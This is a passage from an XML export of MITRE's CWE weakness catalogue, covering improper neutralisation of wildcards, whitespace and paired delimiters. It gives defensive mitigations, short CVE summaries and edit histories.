            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Variable Name
						Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Variable
						Name Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize Variable
						Name Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Variable Name Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="155" Name="Improper Neutralization of Wildcards or Matching Symbols" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as wildcards or matching symbols when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected element may cause the process to take
						unexpected actions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that wildcard or matching elements will
							be injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0433</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass file restrictions using wildcard
						character.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1010</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass file restrictions using wildcard
						character.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0334</Observed_Example_Reference>
					          <Observed_Example_Description>Wildcards generate long string on
						expansion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1962</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection involving "/**/"
						sequences.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Wildcard or Matching Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Wildcard or Matching
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Wildcard or
						Matching Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize Wildcard
						or Matching Symbol</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Wildcards or Matching Symbols</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="156" Name="Improper Neutralization of Whitespace" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as whitespace when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>This can include space, tab, etc.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Can overlap other separator characters or delimiters.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>White space</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that whitespace will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0637</Observed_Example_Reference>
					          <Observed_Example_Description>MIE. virus protection bypass with RFC violations
						involving extra whitespace, or missing
						whitespace.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0942</Observed_Example_Reference>
					          <Observed_Example_Description>CPU consumption with MIME headers containing lines
						with many space characters, probably due to algorithmic complexity
						(RESOURCE.AMP.ALG).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1015</Observed_Example_Reference>
					          <Observed_Example_Description>MIE. whitespace interpreted differently by mail
						clients.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Whitespace</Mapped_Node_Name>
					          <Mapped_Node_ID>SPEC.WHITESPACE</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Whitespace</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove
						Whitespace</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize
						Whitespace</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Whitespace</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="157" Name="Failure to Sanitize Paired Delimiters" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly handle the characters that are
					used to mark the beginning and ending of a group of entities, such as
					parentheses, brackets, and braces.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that grouping elements will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Paired delimiters might include:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="List">
							              <Text>&lt; and &gt; angle brackets</Text>
							              <Text>( and ) parentheses</Text>
							              <Text>{ and } braces</Text>
							              <Text>[ and ] square brackets</Text>
							              <Text>" " double quotes</Text>
							              <Text>' ' single quotes</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0956</Observed_Example_Reference>
					          <Observed_Example_Description>Crash via missing paired delimiter (open
						double-quote but no closing double-quote).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1165</Observed_Example_Reference>
					          <Observed_Example_Description>Crash via message without closing
						"&gt;".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2933</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow via mailbox name with an opening
						double quote but missing a closing double quote, causing a larger copy than
						expected.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Grouping Element / Paired Delimiter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Grouping Element / Paired
